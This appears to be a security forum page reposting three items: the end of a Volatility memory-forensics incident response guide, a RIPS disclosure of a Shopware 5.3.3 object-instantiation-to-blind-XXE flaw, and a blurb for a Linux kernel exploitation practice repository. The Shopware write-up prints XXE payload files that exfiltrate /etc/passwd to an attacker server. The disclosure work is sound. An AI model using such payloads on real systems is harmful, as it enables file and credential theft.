in running processes and also dump this to an output directory. malfind: look for injected shellcode After collecting this data we will scan it using known IOC’s. In this case I used ClamAV, Loki, and SparkCore (In order below). Each of these were able to pick up on the malicious running code. So now our front line incident responder can confirm that the system has malicious code present in memory and can escalate the case appropriately. Have questions hit me up on twitter @laskow26, and references below: https://volatility-labs.blogspot.com/2016/08/automating-detection-of-known-malware.html https://downloads.volatilityfoundation.org//releases/2.4/CheatSheet_v2.4.pdf https://unminioncurioso.blogspot.com/2019/02/dfir-choose-your-weapon-well-calculate.html Finding Metasploit’s Meterpreter Traces With Memory Forensics Sursa: https://laskowski-tech.com/2019/02/18/volatility-workflow-for-basic-incident-response/
  12. Shopware 5.3.3: PHP Object Instantiation to Blind XXE 8 Nov 2017 by Karim El Ouerghemmi Shopware is a popular e-commerce software. It is based on PHP using technologies like Symfony 2, Doctrine and the Zend Framework. The code base of its open source community edition encompasses over 690,000 lines of code which we scanned for security vulnerabilities with our RIPS static code analyzer. The analysis of this complex code base took roughly 4 minutes. RIPS discovered two vulnerabilities: a PHP object instantiation and a SQL injection which we disclosed to the vendor and were fixed in version 5.3.4. In this blog post we investigate the rare object instantiation vulnerability (CVE-2017-18357). We describe how it can occur and how it can be exploited by an attacker in order to retrieve arbitrary files from the server. Who is affected Installations with following requirements are affected by this vulnerabilities: Shopware version <= 5.3.3 and >= 5.1 Impact - What can an attacker do In order to exploit the found vulnerabilities an attacker needs to be able to use the backend functionality of Shopware, specifically, the configuration of product streams. However, it is sufficient if the attacker can control the session of an account with limited permissions. Successfully exploiting the object instantiation vulnerability grants an attacker the ability to instantiate an object in the PHP application of an arbitrary class. By using a blind XXE attack described in this blog post, this can lead to the disclosure of any file on the server (as long as the user associated with the PHP process has the required permissions). This can for example, be any confidential file of the shopware installation like config.php which contains the database credentials. PHP Object Instantiation In this section we will technically analyse the object instantiation vulnerability by examining the flow of data from the input to the dangerous sink. Furthermore, we will present a way of how such a vulnerability can be exploited by escalating it into a blind XXE attack. This sort of vulnerability is not very often to find, and thus an interesting candidate for our inspection. RIPS automatically identified the object instantiation vulnerability that spans over multiple files and classes. The point of injection resides in the feature to preview product streams in the shopware backend. Here, the user parameter sort is received in the loadPreviewAction() method of the Shopware_Controllers_Backend_ProductStream controller. Controllers/Backend/ProductStream.php 1 2 3 4 5 6 7 8 9101112 class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application { public function loadPreviewAction() { ⋮ $sorting = $this->Request()->getParam('sort'); ⋮ $streamRepo = $this->get('shopware_product_stream.repository'); $streamRepo->unserialize($sorting); ⋮ } } The input is then forwarded to the unserialize() method of Shopware\Components\ProductStream\Repository. Note that this is not a PHP Object Injection vulnerability and a custom unserialize() method. This method calls another unserialize() method of Shopware\Components\LogawareReflectionHelper. Components/ProductStream/Repository.php 12345678 namespace Shopware\Components\ProductStream; class Repository implements RepositoryInterface { public function unserialize($serializedConditions) { return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream'); } } The user input is passed along in the first parameter. Here, it ends up in a foreach loop. Components/LogawareReflectionHelper.php 1 2 3 4 5 6 7 8 9101112131415 namespace Shopware\Components; class LogawareReflectionHelper { public function unserialize($serialized, $errorSource) { classes = []; foreach($serialized as $className => $arguments) { ⋮ $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments); ⋮ } return $classes; } } Each array key of the user input is then passed to a createInstanceFromNamedArguments() method as $className. Components/LogawareReflectionHelper.php 1 2 3 4 5 6 7 8 91011121314 namespace Shopware\Components; class ReflectionHelper { public function createInstanceFromNamedArguments($className, $arguments) { $reflectionClass = new \ReflectionClass($className); ⋮ $constructorParams = $reflectionClass->getConstructor()->getParameters(); ⋮ // Check if all required parameters are given in $arguments ⋮ return $reflectionClass->newInstanceArgs($arguments); } } Finally, the keypoint is the instantiation of an object with ReflectionClass of the type specified in $className. The invokation of the newInstanceArgs() method with user controlled input in $arguments allows to specify the arguments of the constructor. ReflectionClass is part of the reflection API introduced with PHP 5. It allows retrieving information (available methods, their awaited parameters, etc.) about all classes accessible at a given point during execution. As the name implies, newInstanceArgs() creates an instance of a class with given parameters. So basically at this point, we can instantiate arbitrary objects. Blind XXE Let’s take a look at how such a vulnerability can be exploited. An attacker that can control the input sent to the loadPreviewAction() method for product streams can provoke the instantiation of an arbitrary object with chosen parameters. Exploiting an object instantiation vulnerability with chosen parameters presents nearly the same challenges to an attacker as exploiting an object injection vulnerability. The difference is that instead of the magic method __wakeup() that gets called when an object is unserialized, __construct() gets called. Inspecting the lifecycle of an injected dummy object revealed that the following methods of its methods get called: 1. __construct() 2. __call() if method getName() not available. Else getName() 3. __destruct() So what is left to do is to find a class available at runtime in which one of the above methods is implemented in an advantageous manner. Unfortunately we could not find any such class in the Shopware code base. However, at runtime also the PHP built-in classes are available! An interesting class of which one could instantiate an object in such a situation is SimpleXMLElement. This class is part of the PHP SimpleXML extension which is available on most PHP installations. When instantiating an object of SimpleXMLElement, the data passed to its constructor is parsed as XML. This can be exploited to launch an XML External Entity (XXE) attack. The signature of the constructor of SimpleXMLElement looks like the following: 1 SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false [, string $ns = "" [, bool $is_prefix = false ]]]] ) As the third parameter $data_is_url might imply, it’s even possible to pass an URL to an external XML file which should be parsed. The following XML and DTD example shows how this can be abused to read any file on the targeted system that the web server’s privileges allow access to. xxe.xml 12345678 <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM ""> %sp; %param1; ]> <r>&exfil;</r> xxe.dtd 12 <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM ';'>"> First, the object instantiation vulnerability is used to instantiate a SimpleXMLElement object with the appropriate parameters. The parameter $options must be set to LIBXML_NOENT in order to activate entity substitution which is required for the XXE to work. The parameter $data_is_url is set to true and the $data points to the attackers xxe.xml file. When the XML file is parsed by the injected SimpleXMLElement object, it reads the /etc/passwd file from the file system and sends its content base64 encoded back to the attackers web server. 123 - - [07/Nov/2017 13:55:54] "GET /xxe.xml HTTP/1.0" 200 - - - [07/Nov/2017 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 - - - [07/Nov/2017 13:55:54] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF....== HTTP/1.0" 200 - Finally, the attacker can read the content of the desired file by reviewing his web server’s log file and base64 decoding the received log entry. Time Line Date What 2017/09/13 Reported vulnerabilities in Shopware ticket system 2017/09/14 Coordinated disclosure timeline with vendor 2017/10/02 Vendor fixed issues in code base 2017/10/24 Vendor released fixed version 5.3.4 Summary We analyzed the community edition of the popular e-commerce software Shopware as part of our PHP vulnerability research that contributes to open source security. Using cutting-edge static code analysis techniques, we identified two security issues in the code base. In this post we analyzed a unique and cool object instantiation vulnerability and presented a way of how such a vulnerability can be escalated into a blind XXE attack leading to arbitrary file disclosure. We would like to thank the team behind Shopware for their professional collaboration and for quickly resolving the issues with the release of version 5.3.4. If you are still using an older version, we encourage to update. Sursa: https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
  13. Linux kernel exploitation experiments This is a playground for the Linux kernel exploitation experiments. Only basic methods. Just for fun. Contents: drill_mod.c - a small Linux kernel module with nice vulnerabilities. You can interact with it via a simple debugfs interface. drill_exploit_uaf.c - a basic use-after-free exploit. drill_exploit_nullderef.c - a basic null-ptr-deref exploit, which uses wonderful mmap_min_addr bypass by Jann Horn. N.B. Only basic exploit techniques here. So compile your kernel with x86_64_defconfig and run it with pti=off nokaslr. Have fun! Sursa: https://github.com/a13xp0p0v/kernel-hack-drill
  • Create New...